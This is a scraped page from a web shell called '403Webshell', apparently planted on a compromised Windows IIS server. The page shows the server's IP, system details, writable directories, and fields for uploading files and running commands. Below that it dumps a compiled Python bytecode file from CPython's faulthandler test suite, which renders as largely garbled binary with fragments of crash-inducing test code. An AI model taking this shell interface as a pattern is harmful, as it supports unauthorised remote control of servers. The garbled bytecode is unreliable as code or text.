403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/__pycache__/test_faulthandler.cpython-315.opt-2.pyc
R
>lqj��c��]QHGs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]QH$G
s
]QH,GsG
s
GsGsGs]PHDs]PHHs]QHLGs]PHVs\
O.%f\O0Q2gQsQs\O6\2sQsQ	\0s\Q
0sQ\0s \ Q
0s!Qs"QQ
ks#Qs$\Q2s%Qs&QQ\&Q\&Q0,s'QQ\OP2s)\*Q6Xc\OV2P!P!\cPsK�h9h)�)�contextmanager)�support)�	os_helper�
script_helper�
is_android�
MS_WINDOWS�threading_helper)�dedentztest module requires subprocessg�?zStack (most recent call first):z
( \[.*\])?zThread 0x[0-9a-f]+z \(most recent call first\):zCurrent thread 0x[0-9a-f]+c�<�[OQU0P	P	Q5!)zTSAN/UBSan itercepts )�thread�ub)r�skip_if_sanitizer)�signames&�+C:\Python315\\Lib\test\test_faulthandler.py�skip_if_sanitizer_signalr$s$���$�$�'<�W�I�%F�,0�T�;�;�c��SoUQU**
oUQU**
o]U6c&QUQ*U]*
**U*!QU*Q*!)z#  File "<string>", line %s in func
z&  File "<string>", line %s in <module>�^�
�$�)�lineno1�lineno2�header�	min_count�regexs&&&& r�expected_tracebackr)sZ���E�	�
3�g�
=�=�E�	�
5��
?�?�E��9�}��e�d�l�y�1�}�5�5��=�=��U�{�S� � rc�F�[O[Q2U2!)z(raising SIGSEGV on Android is unreliable)�unittest�skipIfr)�tests&r�skip_segfault_on_androidr!2s#���?�?�:�E�G�GK�M�Mrc#� �[O2oUw�[OU2P![OS2h9h3h�N)�tempfile�mktempr�unlink��filenames r�temporary_filenamer)7s7������ �H�#�������"��	����"�s�A�7�A�A�Az0x[0-9a-f]+z:Current thread's C stack trace \(most recent call first\):z!(  Binary file ".+"(, at .*(\+|-)z)? \[z
\])|(<.+>)c�t`�\sQs]FsnQ`QksQPQP	QPQPQP	QP
QP
Q	P	Q
Q-	QksQaQ
ksQs\Q2s	\Q2s
Qs\Q2Q2s
\O\O"Q6HQ2\Q2Q22s\O\PIQ2\O(\\Q2Q2\Q2\Q2222s\O\PIQ2\O(\\Q2Q2\Q2\Q2222s\O\PIQ2Q2sQ sQ!s\O\O"O9Q"2Q#2\O\\Q$2%(Q%2Q&22s\Q'2s\Q(2s \O\O"Q6HQ)2\Q*22s!\Q+2s"\Q,2s#\Q-2s$\Q.2s%Q/s&\'OP2Q02s)\'OP2Q12s*\'OP2Q22s+QPQP-Q3ks,Q4s-Q5s.\O\O"Q6HQ)2Q62s/Q7s0Q8s1Q9s2Q:s3QbQPQP-Q;kks4Q<s5Q=s6Q>s7Q?s8\O\O"Q6HQ)2Q@2s9\'OtQA2QB2s;QCs<\\O\'OzQD2QE22s>\O\\QF2%(QG2QcQHk2s?QIs@QJsAQKsB\O\O"Q6HQ)2QL2sCQMsD\'O�QNP	QO5QP2sF\O\\QF2%(QG2QQ2sG\HQR2sIQSsJ\O(\KQT2QU2sL\O(\KQT2QV2sM\O(\KQT2QW2sN\O(\KQT2QX2sOQYsP\QO�2\O(\'OzQZ2Q[22sSQ\sTQ]sUQ^sVQ_sWUsXP!)d�FaultHandlerTestsc	�B�[U2O2o,oUdUOU2[[O
2oQo[OVV2[O29^tt^2[OQUUUQ5oU9^tt^2UO2vq�UO2o
PPP2PPP2WOQQ2oU%cSUOUP2[UQ29^tt^2oUO!2oPPP2UOQQ2oL}UdzUOUP2[O"U[O$]2[UQP
Q59^tt^2oUO!2oPPP2UOQQ2oUO'2W
1!)%fhCK9h)%fhCK 9h)%fhK�9h)%fhKo9h)Nz
handle_segv=0�-c)�pass_fds�env�ascii�backslashreplace�rb)�closefd)r	�strip�append�dict�os�environr�set_sanitizer_env_var�SuppressCrashReportr�spawn_python�communicate�wait�decode�assertEqual�open�read�lseek�SEEK_SET�
splitlines)�self�coder(�fdr.r/�option�process�output�stderr�exitcode�fps&&&&        r�
get_output�FaultHandlerTests.get_outputHs����d�|�!�!�#����
�>��O�O�B���2�:�:���!���%�%�c�2�
�
(�
(�
*�
*�#�0�0��t�:B�58�:�G���!(�!4�!4�!6���"�<�<�>���	+����w�(:�;������V�R�(��h��%�%�������&��]�]�7�,>�?�F�
�^����V�R�(��H�H�R����a�(��b�$��.�.�"������/��]�]�7�,>�?�F�� � �"�H�,�,�����	+�
*�
*��&�%��/�.�sT�%G'�%#G	�G'�G;�H�G$
�G$
�	G'�'G8	�0G8	�;H	�H	�H	�H	r(�all_threads�other_regexrG�know_current_thread�py_fatal_error�garbage_collecting�c_stack�functionz<module>c	�l�S9%c[O2%(o
U%cU
%fU%c[oL
[oL[oQU0,oU	%cUOQ2UOP2U
%cU	%fUOQ2UOU2[O%c#U	%cU%fUOQ2L8U
%cU
%fUOQ2UOQUQU02U%cUO[2QOU2oU%c
QUQ	UQ
0oQU0oUOVUQ5vooQOU2oUOUU2UOU]2P!)
rz!Python runtime state: initializedz3<Cannot show all threads while the GIL is disabled>z  <tstate is freed>z  Garbage-collectingz  File "<string>", line z in rz(?:�|�)z(?m)�r(rG)�sys�_is_gil_enabled�CURRENT_THREAD_HEADER�
THREAD_HEADER�STACK_HEADERr5r�Py_GIL_DISABLED�extend�
C_STACK_REGEX�joinrN�assertRegex�assertNotEqual)rErF�lineno�fatal_errorr(rPrQrGrRrSrTrUrV�all_threads_disabledrrrJrLs&&&&$$$$$$$$$     r�check_error�FaultHandlerTests.check_errorqs[��
�
,�
,��(�(�*�*�	��3�"�.��&��!�F��[�M�"�#����L�L�<�=�
���R�����L�L�N�O�
�����"��"�"�"�~�>Q��L�L�.�/�!�*>����3�4��L�L�4�V�H�D��
�K�L���L�L��'��	�	�%� ����%���+��a�0�E��u�g����?�?�4�r�?�J�������6�"�������'����H�a�(rc�f�U%c
U8QU80oQU*oUOVU1-U@P!)z: zFatal Python error: %s�ri)rErF�line_number�
name_regex�func�kwrgs&&&&&, r�check_fatal_error�#FaultHandlerTests.check_fatal_error�s.���%)�:�6�J�.��;������K�>�2�>rc�D�QU*oUOVU1-U@P!)zWindows fatal exception: %srl)rErFrmrnrprgs&&&&, r�check_windows_exception�)FaultHandlerTests.check_windows_exception�s!��3�j�@������K�>�2�>rc�.�UOQ]Q2P!)zs
            import faulthandler
            faulthandler.enable()
            faulthandler._sigsegv()
            �Segmentation fault�rq�rEs&r�test_sigsegv�FaultHandlerTests.test_sigsegv������� �

� �
	"rc�4�UOQ]	QQP	Q5P!)a�
            import faulthandler
            import gc
            import sys

            faulthandler.enable()

            class RefCycle:
                def __del__(self):
                    faulthandler._sigsegv()

            # create a reference cycle which triggers a fatal
            # error in a destructor
            a = RefCycle()
            b = RefCycle()
            a.b = b
            b.a = a

            # Delete the objects, not the cycle
            a = None
            b = None

            # Break the reference cycle: call __del__()
            gc.collect()

            # Should not reach this line
            print("exit", file=sys.stderr)
            rw�__del__)rVrTrxrys&r�test_gc�FaultHandlerTests.test_gc�s*��	
��� �8
� ��#�?	�	%rc	�6�UOQ]QP
QP	Q5P!)z�
            import faulthandler
            faulthandler.enable()
            faulthandler._fatal_error_c_thread()
            z
in new thread�faulthandler_fatal_error_thread)rRrorSrxrys&r�test_fatal_error_c_thread�+FaultHandlerTests.test_fatal_error_c_thread�s+����� �

�� %�2��	�		!r�SIGABRTc�.�UOQ]Q2P!)zs
            import faulthandler
            faulthandler.enable()
            faulthandler._sigabrt()
            �Abortedrxrys&r�test_sigabrt�FaultHandlerTests.test_sigabrt�s����� �

��
	r�win32z"SIGFPE cannot be caught on Windows�SIGFPEc�.�UOQ]Q2P!)zr
            import faulthandler
            faulthandler.enable()
            faulthandler._sigfpe()
            zFloating-point exceptionrxrys&r�test_sigfpe�FaultHandlerTests.test_sigfpe�s��	
��� �

�&�
	(rzneed _testcapi�SIGBUSzneed signal.SIGBUSc�.�UOQ]Q2P!)z�
            import faulthandler
            import signal

            faulthandler.enable()
            signal.raise_signal(signal.SIGBUS)
            z	Bus errorrxrys&r�test_sigbus�FaultHandlerTests.test_sigbus�s��
	
��� �
��	r�SIGILLzneed signal.SIGILLc�.�UOQ]Q2P!)z�
            import faulthandler
            import signal

            faulthandler.enable()
            signal.raise_signal(signal.SIGILL)
            zIllegal instructionrxrys&r�test_sigill�FaultHandlerTests.test_sigill
s��
	
��� �
�!�	#rc
��[O29^tt^2UOQUQ0]QQP	Q5PPP2P!)%fhP!9h)zP
                import _testcapi
                _testcapi.fatal_error(b'xyz', �)
                �xyz�_testcapi_fatal_error_impl)rorS)rr:rq)rE�release_gils&&r�check_fatal_error_func�(FaultHandlerTests.check_fatal_error_funcsW���
(�
(�
*�
*��"�"�(/�/:�m�<�$���1�#�
#�
%�+�
*�
*�
*�s�A�A	�
A	c�*�UOP
2P!)F�r�rys&r�test_fatal_error�"FaultHandlerTests.test_fatal_error)s���#�#�E�*rc�*�UOP	2P!)Tr�rys&r�test_fatal_error_without_gil�.FaultHandlerTests.test_fatal_error_without_gil,s���#�#�D�)r�openbsdzVIssue #12868: sigaltstack() doesn't work on OpenBSD if Python is compiled with pthread�_stack_overflowz#need faulthandler._stack_overflow()c�2�UOQ]QQQ5P!)zz
            import faulthandler
            faulthandler.enable()
            faulthandler._stack_overflow()
            z (?:Segmentation fault|Bus error)z unable to raise a stack overflow)rQrxrys&r�test_stack_overflow�%FaultHandlerTests.test_stack_overflow/s'��	
��� �

�.�:�	�	<rc�.�UOQ]Q2P!)zw
            import faulthandler
            faulthandler.enable()
            faulthandler._sigsegv(True)
            rwrxrys&r�test_gil_released�#FaultHandlerTests.test_gil_released>r|rc	���[29^tt^2oUOQO[U2Q5]QUQ5PPP2P!)%fhP!9h)z�
                import faulthandler
                output = open({filename}, 'wb')
                faulthandler.enable(output)
                faulthandler._sigsegv()
                r'rw)r)rq�format�repr�rEr(s& r�test_enable_file�"FaultHandlerTests.test_enable_fileHsO��
�
!�
!�X��"�"�$�
�F�D��N�F�3��$�!�
#�
#�"�
!�
!�
!�s�/A
�
A	�A	z.subprocess doesn't support pass_fds on Windowsc	���[OQ29^tt^2oUO2oUOQU*]QUQ5PPP2P!)%fhP!9h)�wb+z�
                import faulthandler
                import sys
                faulthandler.enable(%s)
                faulthandler._sigsegv()
                rw�rG)r$�
TemporaryFile�filenorq)rErMrGs&  r�test_enable_fd� FaultHandlerTests.test_enable_fdUs^���
#�
#�E�
*�
*�b�����B��"�"�$�
�$��$��
#�
�+�
*�
*�
*�s�-A�A(	� A(	c�2�UOQ]QP
Q5P!)z�
            import faulthandler
            faulthandler.enable(all_threads=False)
            faulthandler._sigsegv()
            rw�rPrxrys&r�test_enable_single_thread�+FaultHandlerTests.test_enable_single_threades%����� �

� ��	�	rc�2�UOQ]QP
Q5P!)z�
            import faulthandler
            faulthandler.enable(c_stack=False)
            faulthandler._sigsegv()
            rw)rUrxrys&r�test_enable_without_c_stack�-FaultHandlerTests.test_enable_without_c_stackps%����� �

� ��	�	rc��QoQoUOU2vq4QOU2oUOV#7U8QU802UOU]2P!)z�
            import faulthandler
            faulthandler.enable()
            faulthandler.disable()
            faulthandler._sigsegv()
            zFatal Python errorrz is present in )rNrc�
assertTruere)rErF�not_expectedrKrLs&    r�test_disable�FaultHandlerTests.test_disable{sY����,���?�?�4�0������6�"������2�.:�F�C�	E����H�a�(rc���QoUOU2vq#QOU2o[OQU[O2oU%fUOQU802[
UO]2O2OQ22oQFDoUOVe2J	QoUOU2vq#QOU2oUOQU2P!)z�
            import faulthandler
            import sys
            import math
            sys.stdlib_module_names = frozenset()
            faulthandler.enable()
            faulthandler._sigsegv()
            rz*^Extension modules:(.*) \(total: [0-9]+\)$z$Cannot find 'Extension modules:' in z, z�
            import faulthandler
            import math.integer
            faulthandler.enable()
            faulthandler._sigsegv()
            zExtension modules:)r[�faulthandler�math)rNrc�re�search�	MULTILINE�fail�set�groupr4�split�assertIn�assertNotIn)rErFrKrL�match�modules�names&      r�test_dump_ext_modules�'FaultHandlerTests.test_dump_ext_modules�s����� �?�?�4�0������6�"���	�	�G� �"�,�,�0����I�I�<�V�J�G�H��e�k�k�!�n�*�*�,�2�2�4�8�9��3�D��M�M�$�(�4�
�� �?�?�4�0������6�"�����-�v�6rc�z�[Oo[O[m[O2o[O
2UO
[O22[O2UO[O22U%c[O
2L[O2U[mP!S%c[O
2h[O2h9hS[mh9hr#)	r[rK�
__stderr__r��
is_enabled�enabler��disable�assertFalse)rE�orig_stderr�was_enableds&  r�test_is_enabled�!FaultHandlerTests.test_is_enabled�s����j�j��	%����C�J�&�1�1�3�K�	
+��#�#�%����� 7� 7� 9�:��$�$�&�� � ��!8�!8�!:�;�� �'�'�)� �(�(�*�$�C�J��� �'�'�)� �(�(�*��$�C�J�s0�.D-�A2C5�4D-�<,D-�5D*�>,D*�*D-�-
D:c��Qo[OQQU1o[OU2oUO	UO2Q2P!)�5import faulthandler; print(faulthandler.is_enabled())�-Er-�False)r[�
executable�
subprocess�check_outputr?�rstrip)rErF�argsrJs&   r�test_disabled_by_default�*FaultHandlerTests.test_disabled_by_default�sB��G������d�D�1���(�(��.���������(�3rc	�^�Qo[P[O[OO%cQLPQQQU12o[
OO2oUOQP2[OV#Q5oUOUO2Q2P!)r�r�z-Xr�r-�PYTHONFAULTHANDLER�r/�True)
�filterr[r��flags�ignore_environmentr7r8�copy�popr�r�r?r��rErFr�r/rJs&    r�test_sys_xoptions�#FaultHandlerTests.test_sys_xoptions�s���G���d�S�^�^�%(�Y�Y�%A�%A�%A�T�r�!�>�4��?�@���j�j�o�o������$�d�+��(�(��7���������'�2rc��Qo[OQU1o[[O2oPUQ$PUQ$[
OV#Q5oUOUO2Q2[[O2oQUQ$PUQ$[
OV#Q5oUOUO2Q2P!)r�r-r��
PYTHONDEVMODEr�r��1r�)	r[r�r6r7r8r�r�r?r�r�s&    r�test_env_var�FaultHandlerTests.test_env_var�s���G������d�+���2�:�:���$&�� �!�!��O���(�(��7���������(�3��2�:�:���$'�� �!�!��O���(�(��7���������'�2rc���QoUOUUQ5oU%c]	oL	Ud]oL]o[QU*QQ,oUOV1U2vqgUOVe2UOU]2P!)a[
            import faulthandler

            filename = {filename!r}
            fd = {fd}

            def funcB():
                if filename:
                    with open(filename, "wb") as fp:
                        faulthandler.dump_traceback(fp, all_threads=False)
                elif fd is not None:
                    faulthandler.dump_traceback(fd,
                                                all_threads=False)
                else:
                    faulthandler.dump_traceback(all_threads=False)

            def funcA():
                funcB()

            funcA()
            rZz#  File "<string>", line %s in funcBz#  File "<string>", line 17 in funcAz&  File "<string>", line 19 in <module>�r��STACK_HEADER_STRrNr?)rEr(rGrFrf�expected�tracerLs&$$     r�check_dump_traceback�&FaultHandlerTests.check_dump_traceback�s���
��*�{�{����
����F�
�^��F��F�� �1�F�:�1�4�	
���/�/�$�"�=�������)�����1�%rc�(�UO2P!r#)rrys&r�test_dump_traceback�%FaultHandlerTests.test_dump_tracebacks���!�!�#rc��[29^tt^2oUOUQ5PPP2P!)%fhP!9h�r')r)rr�s& r�test_dump_traceback_file�*FaultHandlerTests.test_dump_traceback_files-��
�
!�
!�X��%�%�x�%�8�"�
!�
!�
!���1�A	�A	c��[OQ29^tt^2oUOUO2Q5PPP2P!)%fhP!9h�r�r�)r$r�rr��rErMs& r�test_dump_traceback_fd�(FaultHandlerTests.test_dump_traceback_fds=���
#�
#�E�
*�
*�b��%�%�����%�5�+�
*�
*�
*���!A�A	�A	c��QoQU]2**oQU*Q*oQoUOUQ5o[QU*Q,oUOU2vqgUOVe2UOU]2P!)���xz...z�
            import faulthandler

            def {func_name}():
                faulthandler.dump_traceback(all_threads=False)

            {func_name}()
            )�	func_namez  File "<string>", line 4 in %sz%  File "<string>", line 6 in <module>r�)rE�maxlenr�	truncatedrFrrrLs&       r�
test_truncate�FaultHandlerTests.test_truncate%s������6�B�;�'�	��&�L�5�(�	����{�{���
�� � �-�	�9�3�
��
�/�/�$�/�������)�����1�%rc�D�QoUO[U2Q5oUOV!2vq4QOU2oU%c]oL]
oQ[Q[
QUQ0o[
U2O2oUOV62UOU]2P!)a�
            import faulthandler
            from threading import Thread, Event
            import time

            def dump():
                if {filename}:
                    with open({filename}, "wb") as fp:
                        faulthandler.dump_traceback(fp, all_threads=True)
                else:
                    faulthandler.dump_traceback(all_threads=True)

            class Waiter(Thread):
                # avoid blocking if the main thread raises an exception.
                daemon = True

                def __init__(self):
                    Thread.__init__(self)
                    self.running = Event()
                    self.stop = Event()

                def run(self):
                    self.running.set()
                    self.stop.wait()

            waiter = Waiter()
            waiter.start()
            waiter.running.wait()
            dump()
            waiter.stop.set()
            waiter.join()
            r'rz
            ^a
            (?:  File ".*threading.py", line [0-9]+ in [_a-z]+
            ){1,3}  File "<string>", line (?:22|23) in run
              File ".*threading.py", line [0-9]+ in _bootstrap_inner
              File ".*threading.py", line [0-9]+ in _bootstrap

            z%
              File "<string>", line zI in dump
              File "<string>", line 28 in <module>$
            )
r�r�rNrcr^r]r	r4rdr?)rEr(rFrJrLrfrs&&     r�check_dump_traceback_threads�.FaultHandlerTests.check_dump_traceback_threads=s���
��@�{�{�D��N�{�3���?�?�4�:������6�"����F��F���_�
�#�#�$%�%+�H�-
�
���u�
�#�#�%������'�����1�%rc�*�UOP2P!r#)rrys&r�test_dump_traceback_threads�-FaultHandlerTests.test_dump_traceback_threadszs���)�)�$�/rc��[29^tt^2oUOU2PPP2P!)%fhP!9hr#)r)rr�s& r� test_dump_traceback_threads_file�2FaultHandlerTests.test_dump_traceback_threads_file}s*��
�
!�
!�X��-�-�h�7�"�
!�
!�
!�s�0�A	�A	c	��[[O[Q52oQoUO	[UUUUUQ5oUOVt2vq�QO
U2oU%fASo
U%c
U
]*o
QUQ[Q0o[]]V�Q5oUOV�2LUOUP2UOU	]2P!))�secondsa�
            import faulthandler
            import time
            import sys

            timeout = {timeout}
            repeat = {repeat}
            cancel = {cancel}
            loops = {loops}
            filename = {filename!r}
            fd = {fd}

            def func(timeout, repeat, cancel, file, loops):
                for loop in range(loops):
                    faulthandler.dump_traceback_later(timeout, repeat=repeat, file=file)
                    if cancel:
                        faulthandler.cancel_dump_traceback_later()
                    time.sleep(timeout * 5)
                    faulthandler.cancel_dump_traceback_later()

            if filename:
                file = open(filename, "wb")
            elif fd is not None:
                file = sys.stderr.fileno()
            else:
                file = None
            func(timeout, repeat, cancel, file, loops)
            if filename:
                file.close()
            )�timeout�repeat�cancel�loopsr(rGrz
Timeout \(z\)!\n�\n)r)�str�datetime�	timedelta�TIMEOUTr�rNrcr^rrdr?)
rEr&r'r(r(rG�timeout_strrFrrL�countrrs
&&&&$$       r�check_dump_traceback_later�,FaultHandlerTests.check_dump_traceback_later�s����(�,�,�W�=�>����<�{�{�������
�
���/�/�$�9����	�	�%� ����E����
��#�K�=��'���,�F�&�r�2�v�G�E����U�*����U�B�'�����1�%rc�(�UO2P!r#�r0rys&r�test_dump_traceback_later�+FaultHandlerTests.test_dump_traceback_later�s���'�'�)rc�,�UOP	Q5P!)T)r&r3rys&r� test_dump_traceback_later_repeat�2FaultHandlerTests.test_dump_traceback_later_repeat�����'�'�t�'�4rc�,�UOP	Q5P!)T)r'r3rys&r� test_dump_traceback_later_cancel�2FaultHandlerTests.test_dump_traceback_later_cancel�r9rc��[29^tt^2oUOUQ5PPP2P!)%fhP!9hr)r)r0r�s& r�test_dump_traceback_later_file�0FaultHandlerTests.test_dump_traceback_later_file�s-��
�
!�
!�X��+�+�X�+�>�"�
!�
!�
!�rc��[OQ29^tt^2oUOUO2Q5PPP2P!)%fhP!9hr
)r$r�r0r�rs& r�test_dump_traceback_later_fd�.FaultHandlerTests.test_dump_traceback_later_fd�s=���
#�
#�E�
*�
*�b��+�+�r�y�y�{�+�;�+�
*�
*�
*�r�walltimec�,�UO]Q5P!)�)r(r3rys&r�test_dump_traceback_later_twice�1FaultHandlerTests.test_dump_traceback_later_twice�s���'�'�a�'�0rc���[Q2O2o[OQU2oUOoUOQU2UO
UOQ2]2P!)a�
            import faulthandler
            import sys
            import threading

            NTHREADS = 6
            CAP = 3

            ready = threading.Barrier(NTHREADS + 1)
            stop = threading.Event()

            def worker():
                ready.wait()
                stop.wait()

            threads = [threading.Thread(target=worker) for _ in range(NTHREADS)]
            for t in threads:
                t.start()
            ready.wait()
            try:
                faulthandler.dump_traceback(file=sys.stderr, max_threads=CAP)
            finally:
                stop.set()
                for t in threads:
                    t.join()
        r-�
...
�	Thread 0x�r	r4r�assert_python_ok�errr�r?r/�rErF�procrJs&   r�test_dump_traceback_max_threads�1FaultHandlerTests.test_dump_traceback_max_threads�sc����
�2�U�W�3	
�4�-�-�d�D�9�������
�
�j�&�)�������l�3�Q�7rzKfatal-signal handler only dumps the current thread when the GIL is disabledc���[Q2O2oUOU2vq#QOU2oUO	QU2UOU]2P!)a�
            import faulthandler
            import threading

            NTHREADS = 6
            CAP = 3

            ready = threading.Barrier(NTHREADS + 1)
            stop = threading.Event()

            def worker():
                ready.wait()
                stop.wait()

            for _ in range(NTHREADS):
                threading.Thread(target=worker, daemon=True).start()
            ready.wait()
            faulthandler.enable(max_threads=CAP)
            faulthandler._sigsegv()
        rz
...
)r	r4rNrcr�re�rErFrJrLs&   r�test_enable_max_threads�)FaultHandlerTests.test_enable_max_threads�s^����
�&�U�W�'	
�( �?�?�4�0������6�"���
�
�i��(����H�a�(r�registerzneed faulthandler.registerc	��[OoQoUOUUUUUUQ5oUOVq2vq�QO	U2oU%f;U%c[
Q0o
L	[Q0o
[]] U
2o
UOV�2LUOUP2U%cUOU	]2P!UOU	]2P!)az
            import faulthandler
            import os
            import signal
            import sys

            all_threads = {all_threads}
            signum = {signum:d}
            unregister = {unregister}
            chain = {chain}
            filename = {filename!r}
            fd = {fd}

            def func(signum):
                os.kill(os.getpid(), signum)

            def handler(signum, frame):
                handler.called = True
            handler.called = False

            if filename:
                file = open(filename, "wb")
            elif fd is not None:
                file = sys.stderr.fileno()
            else:
                file = None
            if chain:
                signal.signal(signum, handler)
            faulthandler.register(signum, file=file,
                                  all_threads=all_threads, chain={chain})
            if unregister:
                faulthandler.unregister(signum)
            func(signum)
            if chain and not handler.called:
                if file is not None:
                    output = file
                else:
                    output = sys.stderr
                print("Error: signal handler not called!", file=output)
                exitcode = 1
            else:
                exitcode = 0
            if filename:
                file.close()
            sys.exit(exitcode)
            )rP�signum�
unregister�chainr(rGrr))�signal�SIGUSR1r�rNrcr]r_rrdr?re)rEr(rPrYrZrGrXrFrrLrs&&&&&&     r�check_register� FaultHandlerTests.check_registers�������-��\�{�{�#��!����
�
���/�/�$�9����	�	�%� ����1�2�"�5��(�>��,��&�r�2�u�5�E����U�*����U�B�'������!�,����X�q�)rc�(�UO2P!r#�r]rys&r�
test_register�FaultHandlerTests.test_registerps�����rc�,�UOP	Q5P!)T)rYr`rys&r�test_unregister�!FaultHandlerTests.test_unregisterss�����t��,rc��[29^tt^2oUOUQ5PPP2P!)%fhP!9hr)r)r]r�s& r�test_register_file�$FaultHandlerTests.test_register_filevs-��
�
!�
!�X������2�"�
!�
!�
!�rc��[OQ29^tt^2oUOUO2Q5PPP2P!)%fhP!9hr
)r$r�r]r�rs& r�test_register_fd�"FaultHandlerTests.test_register_fdzs=���
#�
#�E�
*�
*�b����2�9�9�;��/�+�
*�
*�
*�rc�,�UOP	Q5P!)Tr�r`rys&r�test_register_threads�'FaultHandlerTests.test_register_threads�s�������-rzgh-129825: hangs under TSAN)rc�,�UOP	Q5P!)T)rZr`rys&r�test_register_chain�%FaultHandlerTests.test_register_chain�s�����$��'rc���[Q2O2o[OQU2oUOoUOQU2UO
UOQ2]2P!)a
            import faulthandler
            import signal
            import threading

            NTHREADS = 6
            CAP = 3

            ready = threading.Barrier(NTHREADS + 1)
            stop = threading.Event()

            def worker():
                ready.wait()
                stop.wait()

            threads = [threading.Thread(target=worker) for _ in range(NTHREADS)]
            for t in threads:
                t.start()
            ready.wait()
            try:
                faulthandler.register(signal.SIGUSR1, all_threads=True,
                                      max_threads=CAP)
                signal.raise_signal(signal.SIGUSR1)
            finally:
                stop.set()
                for t in threads:
                    t.join()
        r-rIrJrKrNs&   r�test_register_max_threads�+FaultHandlerTests.test_register_max_threads�sc��
��
�6�U�W�7	
�8�-�-�d�D�9�������
�
�j�&�)�������l�3�Q�7rc#�D �[OoP[mUO[29^tt^2oPw�PPP2UO	[WO2Q2U[mP!)%fhKB9hS[mh9h3h)Nzsys.stderr is None)r[rK�assertRaises�RuntimeErrorr?r*�	exception)rErK�cms&  r�check_stderr_none�#FaultHandlerTests.check_stderr_none�sh�������	 ��C�J��"�"�<�0�0�B��1����S����.�0D�E��C�J�	1�0�� �C�J�s9�B �(B�A=�-B�0
B �=B
	�B
	�B�
B�B c��UO29^tt^2[O2PPP2UO29^tt^2[O2PPP2UO29^tt^2[OQ2PPP2[[Q2%cHUO29^tt^2[O[O2PPP2P!P!)%fhK�9h)%fhK�9h)%fhK�9h)%fhP!9h)Ng����MbP?rV)	rzr�r��dump_traceback�dump_traceback_later�hasattrrVr[r\rys&r�test_stderr_None�"FaultHandlerTests.test_stderr_None�s����
#�
#�
%�
%����!�&�
�
#�
#�
%�
%��'�'�)�&�
�
#�
#�
%�
%��-�-�d�3�&��<��,�,��'�'�)�)��%�%�f�n�n�5�*�)�-�
&�
%��
%�
%��
%�
%��*�)�)�sG�D�D�D*�%D=�D	�
D	�D'	� D'	�*D:	�3D:	�=E	�E	zspecific to Windowsc�N�QFDvqUOQUQ0]U2J	P!)�EXCEPTION_ACCESS_VIOLATIONz�
                import faulthandler
                faulthandler.enable()
                faulthandler._raise_exception(faulthandler._r�))r�zaccess violation)�EXCEPTION_INT_DIVIDE_BY_ZEROzint divide by zero)�EXCEPTION_STACK_OVERFLOWzstack overflow)rt)rE�excr�s&  r�test_raise_exception�&FaultHandlerTests.test_raise_exception�s@��
�I�C�

�(�(�.=�>A�E�B�*�
��

�
rc��QFDJoQUQ0o[U2oUOU2vq4UOU,2UOVA2JL	P!)�cs�@z�
                    import faulthandler
                    faulthandler.enable()
                    faulthandler._raise_exception(z)
                    )r�lRC�@�r	rNr?)rE�exc_coderFrJrLs&    r�test_ignore_exception�'FaultHandlerTests.test_ignore_exception�s`��
�H�3�4<�*�=��D�
�$�<�D�#���t�4��F����V�R�(����X�0�
rc��QFDGoUOQUQ
Q02vq#UOU,2UOUVQ*12JI	P!)rz{
                import faulthandler
                faulthandler.enable()
                faulthandler._raise_exception(0xrr�)ri�xV4i@i@ipi���i����)rNr?r�)rEr�rJrLs&   r�test_raise_nonfatal_exception�/FaultHandlerTests.test_raise_nonfatal_exception�sf��
�C� $���41�25�Q��8�0� ��F�
���V�R�(�
�M�M�(��k� 1�2�
4�#
rc��[Q2oUOU2vq#UOU,2UOUQ2P!)z�
            import faulthandler
            faulthandler.enable()
            faulthandler.disable()
            code = faulthandler._EXCEPTION_ACCESS_VIOLATION
            faulthandler._raise_exception(code)
        lr�rSs&   r� test_disable_windows_exc_handler�2FaultHandlerTests.test_disable_windows_exc_handlersD����
�� �?�?�4�0��������$�����:�.rc��[Q2oUOU2vq#UOU,2UOU]2P!)z`
            import faulthandler
            faulthandler.cancel_dump_traceback_later()
        r�rSs&   r�.test_cancel_later_without_dump_traceback_later�@FaultHandlerTests.test_cancel_later_without_dump_traceback_latersF����
�� �?�?�4�0��������$�����1�%rz&only meaningful if the GIL is disabledc�h�[Q2oUOU2vq#UOU]2P!)aL
        import faulthandler
        from threading import Thread, Event

        class Waiter(Thread):
            def __init__(self):
                Thread.__init__(self)
                self.running = Event()
                self.stop = Event()

            def run(self):
                self.running.set()
                self.stop.wait()

        for _ in range(100):
            waiter = Waiter()
            waiter.start()
            waiter.running.wait()
            faulthandler.dump_traceback(all_threads=True)
            waiter.stop.set()
            waiter.join()
        r�)rErF�_rLs&   r�!test_free_threaded_dump_traceback�3FaultHandlerTests.test_free_threaded_dump_tracebacks5����
��,�o�o�d�+�������1�%rc	�d�UO]2oUOU[]*2UO[	U2]2SFDJoUOUQ59^tt^2UP6wcUOU[]*2PPP2JL	P!)%fhJa9h)r)�line)r�rdrb�
assertGreater�len�subTest)rErJ�
starting_liner�s&&  r�
check_c_stack�FaultHandlerTests.check_c_stack7s����
�
�1�
�
�����
�a�(8�9����3�v�;��*��D����4��(�(��2�:��$�$�T�=��+;�<�)�(��(�(�(�s�+B	�3B	�B/
�'B/
c��[Q2oUOU2vq#UOU]2UOU2P!)zI
        import faulthandler
        faulthandler.dump_c_stack()
        )r	rNr?r�rSs&   r�test_dump_c_stack�#FaultHandlerTests.test_dump_c_stackBsB����
�� �?�?�4�0�������1�%����6�"rc�J�]PHoUOQ29^tt^2o[OUQ5UO	2UO]2UO
UO2OQ22PPP2P!)%fhP!9h)rzw+)�filer)	r$r�r��dump_c_stack�flush�seekr�rAr�)rEr$�tmps&  r�test_dump_c_stack_file�(FaultHandlerTests.test_dump_c_stack_fileLsh���
�
#�
#�D�
)�
)�S��%�%�3�/��I�I�K��H�H�Q�K����s�x�x�z�/�/��5�6�	*�
)�
)�
)�s�A'B�B"	�B"	r)NNr#)FF�)FFFFN)Y�__name__�
__module__�__qualname__�__firstlineno__rNrirqrtr!rzrr�rr�rrr[�platformr��	_testcapi�
skipUnlessrr[r�r�r�r�r��
